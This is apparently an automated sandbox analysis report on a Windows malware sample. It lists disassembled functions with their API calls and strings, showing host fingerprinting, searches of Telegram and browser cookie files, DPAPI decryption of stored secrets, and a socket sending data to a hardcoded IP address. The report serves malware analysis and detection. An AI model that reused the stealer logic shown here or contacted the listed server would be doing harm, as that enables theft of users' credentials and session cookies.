Opcode Fuzzy Hash: aed2f5dbcf58cfb3b9eb99b4dadb6cc83ca6bdba91d820180e538d50987a803b
Instruction Fuzzy Hash: 10323761E0121466DB249BA8D891BFDF3F5EF50704F1444EBE805A73A2FF748E848B96

Function 00BD20E1 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 134
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00BD3595: EnterCriticalSection.KERNEL32(00BD84D4,?,?,00BD3C72,?,00BD22DE), ref: 00BD359F
Part of subcall function 00BD3595: GetProcessHeap.KERNEL32(00000008,?,?,?,00BD3C72,?,00BD22DE), ref: 00BD35A8
Part of subcall function 00BD3595: RtlAllocateHeap.NTDLL(00000000,?,?,?,00BD3C72,?,00BD22DE), ref: 00BD35AF
Part of subcall function 00BD3595: LeaveCriticalSection.KERNEL32(00BD84D4,?,?,?,00BD3C72,?,00BD22DE), ref: 00BD35B8

GetCurrentHwProfileA.ADVAPI32(?), ref: 00BD2198
GetSystemInfo.KERNELBASE(?,?,0000011C), ref: 00BD21BF
GlobalMemoryStatusEx.KERNELBASE(?), ref: 00BD21F3
EnumDisplayDevicesA.USER32(00000000,00000002,?,00000001), ref: 00BD2275

Strings

- CPU: %s (%d cores), xrefs: 00BD21D1
- VideoAdapter #%d: %s, xrefs: 00BD2241
- RAM: %d GB, xrefs: 00BD220A
- HWID: %s, xrefs: 00BD21AC
@, xrefs: 00BD21EA

Memory Dump Source

Source File: 00000006.00000002.2429707270.0000000000BD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.2429685349.0000000000BD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2429732202.0000000000BD7000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2429755679.0000000000BD8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2429774779.0000000000BD9000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_DxfmGsU.jbxd

Yara matches

Similarity

API ID: CriticalHeapSection$AllocateCurrentDevicesDisplayEnterEnumGlobalInfoLeaveMemoryProcessProfileStatusSystem
String ID: - CPU: %s (%d cores)$- HWID: %s$- RAM: %d GB$- VideoAdapter #%d: %s$@
API String ID: 330852582-565344305
Opcode ID: 715502bdc000a405afd7ed2b22c713b00749ac095e58a6643e7919e8112a69b1
Instruction ID: c46d672cd82e315bbd80825bdc8c7d6055747793943e1272526e3d2bf91e6324
Opcode Fuzzy Hash: 715502bdc000a405afd7ed2b22c713b00749ac095e58a6643e7919e8112a69b1
Instruction Fuzzy Hash: 2641C3715083419BD720DF24CC85FABF7E8EB94710F10499EF94997341FB3099448BA2

Function 00BD4EB2 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 286
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(00000000,?,00000000,00BD84D4,?), ref: 00BD4F58
EnterCriticalSection.KERNEL32(00BD84D4), ref: 00BD5014

Part of subcall function 00BD4EB2: LeaveCriticalSection.KERNEL32(00BD84D4), ref: 00BD5031

FindNextFileW.KERNELBASE(?,?), ref: 00BD5200

Part of subcall function 00BD4108: GetFileAttributesW.KERNELBASE(00AA37A8,00BD1035,00AA37A8,?), ref: 00BD4109

Strings

%s\*, xrefs: 00BD4F42
%s\%s, xrefs: 00BD4F72
Telegram, xrefs: 00BD501A

Memory Dump Source

Source File: 00000006.00000002.2429707270.0000000000BD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.2429685349.0000000000BD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2429732202.0000000000BD7000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2429755679.0000000000BD8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2429774779.0000000000BD9000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_DxfmGsU.jbxd

Yara matches

Similarity

API ID: File$CriticalFindSection$AttributesEnterFirstLeaveNext
String ID: %s\%s$%s\*$Telegram
API String ID: 648860119-4994844
Opcode ID: 1e47994f4a29ed5f1ab35a51b25dac24a90603f3228b70dfef5c847894667a1b
Instruction ID: 98e3b778043536018e192619507e8c1bd852886760eb27f33d7d22ccb35bf3f3
Opcode Fuzzy Hash: 1e47994f4a29ed5f1ab35a51b25dac24a90603f3228b70dfef5c847894667a1b
Instruction Fuzzy Hash: 7AA18225A15308A9EF10DBA0AC46BEEF3B5EF44710F10509BE508EB3E1FBB14E45875A

Function 00BD1DC9 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 139
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?), ref: 00BD1E10

Part of subcall function 00BD3595: EnterCriticalSection.KERNEL32(00BD84D4,?,?,00BD3C72,?,00BD22DE), ref: 00BD359F
Part of subcall function 00BD3595: GetProcessHeap.KERNEL32(00000008,?,?,?,00BD3C72,?,00BD22DE), ref: 00BD35A8
Part of subcall function 00BD3595: RtlAllocateHeap.NTDLL(00000000,?,?,?,00BD3C72,?,00BD22DE), ref: 00BD35AF
Part of subcall function 00BD3595: LeaveCriticalSection.KERNEL32(00BD84D4,?,?,?,00BD3C72,?,00BD22DE), ref: 00BD35B8

FindNextFileW.KERNELBASE(00000000,?), ref: 00BD1F94

Strings

%s%s, xrefs: 00BD1F4E
%s\*, xrefs: 00BD1DF7
%s\%s, xrefs: 00BD1E9B

Memory Dump Source

Source File: 00000006.00000002.2429707270.0000000000BD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.2429685349.0000000000BD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2429732202.0000000000BD7000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2429755679.0000000000BD8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2429774779.0000000000BD9000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_DxfmGsU.jbxd

Yara matches

Similarity

API ID: CriticalFileFindHeapSection$AllocateEnterFirstLeaveNextProcess
String ID: %s%s$%s\%s$%s\*
API String ID: 3555643018-2064654797
Opcode ID: b6b96309fc22affaa8ffc7606da489d2cdd6c880b02c188e3ff8fe84cea3ac4a
Instruction ID: 47eb45e7fe82efade5842e3da4684a7abbb1d7ff0b746d307c9965e3eba96880
Opcode Fuzzy Hash: b6b96309fc22affaa8ffc7606da489d2cdd6c880b02c188e3ff8fe84cea3ac4a
Instruction Fuzzy Hash: BA41A07120A2016BC714EB28D855A6EF7E9EB94700F044D9FF895C73A2FF30DA448796

Function 00BD1D21 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 69
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00BD475F: GetModuleHandleA.KERNEL32(ntdl,0000011C,?,?,?,?,?,?,?,00BD489D), ref: 00BD4771
Part of subcall function 00BD475F: LoadLibraryA.KERNELBASE(ntdl,?,?,?,?,?,?,?,00BD489D), ref: 00BD477E

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?,00000000), ref: 00BD1D80
CryptProtectData.CRYPT32(?,?,00000000,00000000,00000000,00000000,?), ref: 00BD1DB6

Strings

Poverty is the parent of crime., xrefs: 00BD1D9F
CRYPT32.dll, xrefs: 00BD1D4F

Memory Dump Source

Source File: 00000006.00000002.2429707270.0000000000BD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.2429685349.0000000000BD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2429732202.0000000000BD7000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2429755679.0000000000BD8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2429774779.0000000000BD9000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_DxfmGsU.jbxd

Yara matches

Similarity

API ID: CryptData$HandleLibraryLoadModuleProtectUnprotect
String ID: CRYPT32.dll$Poverty is the parent of crime.
API String ID: 3642467563-1885057629
Opcode ID: 48b542e450cadd4241fb7ae1cfee88bc9edd2e681e24a7177c362827c65ec3ea
Instruction ID: 99a9ba874e41246a11cb1d2ac65c62ff4f865eabf8975dbad686b15b7b00f0dd
Opcode Fuzzy Hash: 48b542e450cadd4241fb7ae1cfee88bc9edd2e681e24a7177c362827c65ec3ea
Instruction Fuzzy Hash: E0110EB5D0020DABDB10DF95D9859EEFBFDFB44210F1045AAE945A3240E7705E05CAA0

Function 00BD3595 Relevance: 6.0, APIs: 4, Instructions: 18
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32(00BD84D4,?,?,00BD3C72,?,00BD22DE), ref: 00BD359F
GetProcessHeap.KERNEL32(00000008,?,?,?,00BD3C72,?,00BD22DE), ref: 00BD35A8
RtlAllocateHeap.NTDLL(00000000,?,?,?,00BD3C72,?,00BD22DE), ref: 00BD35AF
LeaveCriticalSection.KERNEL32(00BD84D4,?,?,?,00BD3C72,?,00BD22DE), ref: 00BD35B8

Memory Dump Source

Source File: 00000006.00000002.2429707270.0000000000BD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.2429685349.0000000000BD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2429732202.0000000000BD7000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2429755679.0000000000BD8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2429774779.0000000000BD9000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_DxfmGsU.jbxd

Yara matches

Similarity

API ID: CriticalHeapSection$AllocateEnterLeaveProcess
String ID:
API String ID: 1367039788-0
Opcode ID: 0ba03ec4767be076f5113eed943f9de1b4f3e60e1be7458962626eb74adfab26
Instruction ID: ccb3b29e7430594897b20311cfab29aeefac7b63810fbf049b0164ca60acd619
Opcode Fuzzy Hash: 0ba03ec4767be076f5113eed943f9de1b4f3e60e1be7458962626eb74adfab26
Instruction Fuzzy Hash: 88D09E3364A12067DB5427E9BC1C9DBEF6CEF956627054097F209C32A0FEA4480587A0

Function 00BD2282 Relevance: 38.8, APIs: 13, Strings: 9, Instructions: 304
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(00BD84D4,00000DA3), ref: 00BD2297
CreateMutexA.KERNELBASE(00000000,00000000,be8cad63-22bb-4c30-996e-fba481a4426e), ref: 00BD22AF
GetLastError.KERNEL32 ref: 00BD22C2

Strings

be8cad63-22bb-4c30-996e-fba481a4426e, xrefs: 00BD22A6, 00BD2612
$, xrefs: 00BD25FD
kernel32, xrefs: 00BD2439
$d.log, xrefs: 00BD2678
- UserAgent: %s, xrefs: 00BD25B3
shell32, xrefs: 00BD23E5
@, xrefs: 00BD25DE
- OperationSystem: %d:%d:%d, xrefs: 00BD232A
panel, xrefs: 00BD25F3

Memory Dump Source

Source File: 00000006.00000002.2429707270.0000000000BD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.2429685349.0000000000BD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2429732202.0000000000BD7000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2429755679.0000000000BD8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2429774779.0000000000BD9000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_DxfmGsU.jbxd

Yara matches

Similarity

API ID: CountCreateCriticalErrorInitializeLastMutexSectionSpin
String ID: $$$d.log$- OperationSystem: %d:%d:%d$- UserAgent: %s$@$be8cad63-22bb-4c30-996e-fba481a4426e$kernel32$panel$shell32
API String ID: 2005177960-4267833036
Opcode ID: 2904463b9b937cc16cf816da2e00ac10aa3b50e7d3a43cd3a757e953dd2db308
Instruction ID: d581bc587d5d5754127c6b73bd99fbc7eb32b5be2787693f7af412d199164a25
Opcode Fuzzy Hash: 2904463b9b937cc16cf816da2e00ac10aa3b50e7d3a43cd3a757e953dd2db308
Instruction Fuzzy Hash: E5C1D330945245ABEB14ABA4EC16BEDFBF5AF24706F0400D7E501AA3E2FF754A44CB61

Function 00BD53F8 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 139
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00BD475F: GetModuleHandleA.KERNEL32(ntdl,0000011C,?,?,?,?,?,?,?,00BD489D), ref: 00BD4771
Part of subcall function 00BD475F: LoadLibraryA.KERNELBASE(ntdl,?,?,?,?,?,?,?,00BD489D), ref: 00BD477E

WSAStartup.WS2_32(00000202,?), ref: 00BD54E0
socket.WS2_32(?,00000001,00000000), ref: 00BD550F
connect.WS2_32(000000FF,?,00000010), ref: 00BD554E
send.WS2_32(000000FF,00000000,00000000), ref: 00BD5570
send.WS2_32(000000FF,000000FF,106,00000000), ref: 00BD558C
closesocket.WS2_32(000000FF), ref: 00BD55BC

Strings

ws2_32.dll, xrefs: 00BD5473
106, xrefs: 00BD557B, 00BD557F
185.244.212.106, xrefs: 00BD5523

Memory Dump Source

Source File: 00000006.00000002.2429707270.0000000000BD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.2429685349.0000000000BD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2429732202.0000000000BD7000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2429755679.0000000000BD8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2429774779.0000000000BD9000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_DxfmGsU.jbxd

Yara matches

Similarity

API ID: send$HandleLibraryLoadModuleStartupclosesocketconnectsocket
String ID: 106$185.244.212.106$ws2_32.dll
API String ID: 653765639-2093737415
Opcode ID: 0241eac53dcccb452d52e19473a21997d5604c61a492568b2ab1f69f4af43bb4
Instruction ID: 7ea859c4bdd78a2e0db8ea5f229118706f18723e0232472a19edd70f76166521
Opcode Fuzzy Hash: 0241eac53dcccb452d52e19473a21997d5604c61a492568b2ab1f69f4af43bb4
Instruction Fuzzy Hash: 5551B430C44288EDEF128BE4D8097EDFFB99F15314F14418AE660AE2C1D7B54746CB65

Function 00BD44F7 Relevance: 16.7, APIs: 8, Strings: 3, Instructions: 179
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00BD4108: GetFileAttributesW.KERNELBASE(00AA37A8,00BD1035,00AA37A8,?), ref: 00BD4109

Part of subcall function 00BD3595: EnterCriticalSection.KERNEL32(00BD84D4,?,?,00BD3C72,?,00BD22DE), ref: 00BD359F
Part of subcall function 00BD3595: GetProcessHeap.KERNEL32(00000008,?,?,?,00BD3C72,?,00BD22DE), ref: 00BD35A8
Part of subcall function 00BD3595: RtlAllocateHeap.NTDLL(00000000,?,?,?,00BD3C72,?,00BD22DE), ref: 00BD35AF
Part of subcall function 00BD3595: LeaveCriticalSection.KERNEL32(00BD84D4,?,?,?,00BD3C72,?,00BD22DE), ref: 00BD35B8

EnterCriticalSection.KERNEL32(00BD84D4), ref: 00BD4580
LeaveCriticalSection.KERNEL32(00BD84D4), ref: 00BD45CC
EnterCriticalSection.KERNEL32(00BD84D4), ref: 00BD464F
LeaveCriticalSection.KERNEL32(00BD84D4), ref: 00BD4688
EnterCriticalSection.KERNEL32(00BD84D4), ref: 00BD46C5
LeaveCriticalSection.KERNEL32(00BD84D4), ref: 00BD4708
EnterCriticalSection.KERNEL32(00BD84D4), ref: 00BD4721
LeaveCriticalSection.KERNEL32(00BD84D4), ref: 00BD474A

Part of subcall function 00BD4377: GetModuleHandleA.KERNEL32(ntdll,NtQuerySystemInformation,?,00000000,?,?,?,?,?,00BD45FF), ref: 00BD4390
Part of subcall function 00BD4377: GetProcAddress.KERNEL32(00000000), ref: 00BD4399
Part of subcall function 00BD4377: GetModuleHandleA.KERNEL32(ntdll,NtQueryObject,?,?,?,?,00BD45FF), ref: 00BD43AA
Part of subcall function 00BD4377: GetProcAddress.KERNEL32(00000000), ref: 00BD43AD
Part of subcall function 00BD4377: OpenProcess.KERNEL32(00000040,00000000,00000000,?,?,?,?,00BD45FF), ref: 00BD442F
Part of subcall function 00BD4377: GetCurrentProcess.KERNEL32(00BD45FF,00000000,00000000,00000002,?,?,?,?,00BD45FF), ref: 00BD444B
Part of subcall function 00BD4377: DuplicateHandle.KERNEL32(?,?,00000000,?,?,?,?,00BD45FF), ref: 00BD445A
Part of subcall function 00BD4377: CloseHandle.KERNEL32(00BD45FF,?,?,?,?,00BD45FF), ref: 00BD448A

Part of subcall function 00BD35C3: GetProcessHeap.KERNEL32(00000000,00000000,00BD26DC), ref: 00BD35CA
Part of subcall function 00BD35C3: RtlFreeHeap.NTDLL(00000000), ref: 00BD35D1

Strings

\??\%s, xrefs: 00BD452F
\Network\Cookies, xrefs: 00BD45EC
@, xrefs: 00BD4566

Memory Dump Source

Source File: 00000006.00000002.2429707270.0000000000BD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.2429685349.0000000000BD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2429732202.0000000000BD7000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2429755679.0000000000BD8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2429774779.0000000000BD9000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_DxfmGsU.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$HandleHeapProcess$AddressModuleProc$AllocateAttributesCloseCurrentDuplicateFileFreeOpen
String ID: @$\??\%s$\Network\Cookies
API String ID: 330363434-2791195959
Opcode ID: 3802d87339651bcc8299308cd8ce61cf9fa6c0775bcfb090fc35fb077ff33705
Instruction ID: b1225fb9bbd0204b16dd7670c5f2a6c7c59ece5e5070ee2e4683d9ab64b07515
Opcode Fuzzy Hash: 3802d87339651bcc8299308cd8ce61cf9fa6c0775bcfb090fc35fb077ff33705
Instruction Fuzzy Hash: 9B71F975940209AFEB049F90DC5ABADFBF6EB04705F1080A6F505AA2E1FF709A45CB51

Function 00BD48D6 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 231
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00000020,00003000,00000040,0000011C,?,?,?,?,?,00BD2351), ref: 00BD48F7

Part of subcall function 00BD475F: GetModuleHandleA.KERNEL32(ntdl,0000011C,?,?,?,?,?,?,?,00BD489D), ref: 00BD4771
Part of subcall function 00BD475F: LoadLibraryA.KERNELBASE(ntdl,?,?,?,?,?,?,?,00BD489D), ref: 00BD477E

GetCurrentProcess.KERNEL32(00BD2351), ref: 00BD496B
IsWow64Process.KERNEL32(00000000), ref: 00BD4972

Strings

ntdl, xrefs: 00BD4914
l, xrefs: 00BD4917

Memory Dump Source

Source File: 00000006.00000002.2429707270.0000000000BD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.2429685349.0000000000BD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2429732202.0000000000BD7000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2429755679.0000000000BD8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2429774779.0000000000BD9000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_DxfmGsU.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentHandleLibraryLoadModuleVirtualWow64
String ID: l$ntdl
API String ID: 1207166019-924918826
Opcode ID: 513dee2ecc7466ee09bc9bf05c34a2c9edc0fc8aa2aa69cbfedf493879de9efc
Instruction ID: 24d08341e56222f0a5ec490e624a0a021bcb281a33109bc0f816897a4407558b
Opcode Fuzzy Hash: 513dee2ecc7466ee09bc9bf05c34a2c9edc0fc8aa2aa69cbfedf493879de9efc
Instruction Fuzzy Hash: C181C6346562029BEB249F14EDA5B79F3E8FF11715F24049BE2099B3E1FFB489848B05

Function 00BD475F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 94
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(ntdl,0000011C,?,?,?,?,?,?,?,00BD489D), ref: 00BD4771
LoadLibraryA.KERNELBASE(ntdl,?,?,?,?,?,?,?,00BD489D), ref: 00BD477E

Strings

ntdl, xrefs: 00BD476C, 00BD477D

Memory Dump Source

Source File: 00000006.00000002.2429707270.0000000000BD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.2429685349.0000000000BD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2429732202.0000000000BD7000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2429755679.0000000000BD8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2429774779.0000000000BD9000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_DxfmGsU.jbxd

Yara matches

Similarity

API ID: HandleLibraryLoadModule
String ID: ntdl
API String ID: 4133054770-3973061744
Opcode ID: b28b4b083bcda41065a4edb038382562ed7e81d59e80008041574f7ca5ad1119
Instruction ID: 880cb20dac298b6c6148d27c0dec02f7b4907bf73163155ed73ef793275c222c
Opcode Fuzzy Hash: b28b4b083bcda41065a4edb038382562ed7e81d59e80008041574f7ca5ad1119
Instruction Fuzzy Hash: C331A735E006559BCB24CFA9C890ABDF7F0FF89700F15029AD495A7341EB36A991CBA0

Function 00BD35C3 Relevance: 3.0, APIs: 2, Instructions: 8
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,00000000,00BD26DC), ref: 00BD35CA
RtlFreeHeap.NTDLL(00000000), ref: 00BD35D1

Memory Dump Source

Source File: 00000006.00000002.2429707270.0000000000BD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.2429685349.0000000000BD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2429732202.0000000000BD7000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2429755679.0000000000BD8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2429774779.0000000000BD9000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_DxfmGsU.jbxd

Yara matches

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: efbc37e233952efe0603082a461ef7f425b0ff9c638d1991dcc0349192237758
Instruction ID: 7376d76f0d3b2dd18084f69397b7c954692e52f12a375cb7b5ee691f49ed3150
Opcode Fuzzy Hash: efbc37e233952efe0603082a461ef7f425b0ff9c638d1991dcc0349192237758
Instruction Fuzzy Hash: ACB0127068B1026BEE081BE0FD2DBBEBB58EB00707F1000CAF306D34D0FE6845008621

Function 00BD4108 Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesW.KERNELBASE(00AA37A8,00BD1035,00AA37A8,?), ref: 00BD4109

Memory Dump Source

Source File: 00000006.00000002.2429707270.0000000000BD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.2429685349.0000000000BD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2429732202.0000000000BD7000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2429755679.0000000000BD8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2429774779.0000000000BD9000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_DxfmGsU.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: ba1481ccde5c17c41ed3bedec97e75d6c5107302647ae70a2e79f83959a16a74
Instruction ID: 9f241a084b050dc9f45f76d64143331952749027b6bae1af795200078bfd6ef5
Opcode Fuzzy Hash: ba1481ccde5c17c41ed3bedec97e75d6c5107302647ae70a2e79f83959a16a74
Instruction Fuzzy Hash: 57A022380302008BCA2C03300F3A28E32000E0A2F03220B8EB033C80E0FE28C2800000

Non-executed Functions

Function 00BD3F87 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 111fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00BD4108: GetFileAttributesW.KERNELBASE(00AA37A8,00BD1035,00AA37A8,?), ref: 00BD4109

Part of subcall function 00BD3595: EnterCriticalSection.KERNEL32(00BD84D4,?,?,00BD3C72,?,00BD22DE), ref: 00BD359F
Part of subcall function 00BD3595: GetProcessHeap.KERNEL32(00000008,?,?,?,00BD3C72,?,00BD22DE), ref: 00BD35A8
Part of subcall function 00BD3595: RtlAllocateHeap.NTDLL(00000000,?,?,?,00BD3C72,?,00BD22DE), ref: 00BD35AF
Part of subcall function 00BD3595: LeaveCriticalSection.KERNEL32(00BD84D4,?,?,?,00BD3C72,?,00BD22DE), ref: 00BD35B8

FindFirstFileW.KERNEL32(00000000,?,00000000,00000000,00000000), ref: 00BD3FE8
FindNextFileW.KERNEL32(00BD179D,?), ref: 00BD4089

Strings

%s%s, xrefs: 00BD40D2
%s\*, xrefs: 00BD3FD2
%s\%s, xrefs: 00BD4022

Memory Dump Source

Source File: 00000006.00000002.2429707270.0000000000BD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.2429685349.0000000000BD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2429732202.0000000000BD7000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2429755679.0000000000BD8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2429774779.0000000000BD9000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_DxfmGsU.jbxd

Yara matches

Similarity

API ID: File$CriticalFindHeapSection$AllocateAttributesEnterFirstLeaveNextProcess
String ID: %s%s$%s\%s$%s\*
API String ID: 674214967-2064654797
Opcode ID: b52f004e4423b22b31b6381b477c4bddde33fe9e7a8e52ee7e877dd4d3c63f60
Instruction ID: 62a29b76946ac030df3276ac026a6911b3c8ab9ad7e17ed4b014a1f3b3ba7727
Opcode Fuzzy Hash: b52f004e4423b22b31b6381b477c4bddde33fe9e7a8e52ee7e877dd4d3c63f60
Instruction Fuzzy Hash: 6331B171A0421967DB25AB608C46AAEF7E5DF84704F0401EBF90597392FF358F458B92

Function 00BD4145 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 97fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000000,00000000,?), ref: 00BD4198
FindNextFileW.KERNEL32(000000FF,?), ref: 00BD41E4

Part of subcall function 00BD35C3: GetProcessHeap.KERNEL32(00000000,00000000,00BD26DC), ref: 00BD35CA
Part of subcall function 00BD35C3: RtlFreeHeap.NTDLL(00000000), ref: 00BD35D1

Strings

%s\*, xrefs: 00BD4182
%s\%s, xrefs: 00BD41F8

Memory Dump Source

Source File: 00000006.00000002.2429707270.0000000000BD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.2429685349.0000000000BD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2429732202.0000000000BD7000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2429755679.0000000000BD8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2429774779.0000000000BD9000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_DxfmGsU.jbxd

Yara matches

Similarity

API ID: FileFindHeap$FirstFreeNextProcess
String ID: %s\%s$%s\*
API String ID: 1689202581-2848263008
Opcode ID: 0813e4d16846b7f3a01f0afaa42aa444088e9da2e9d94da94db87745fd8e1110
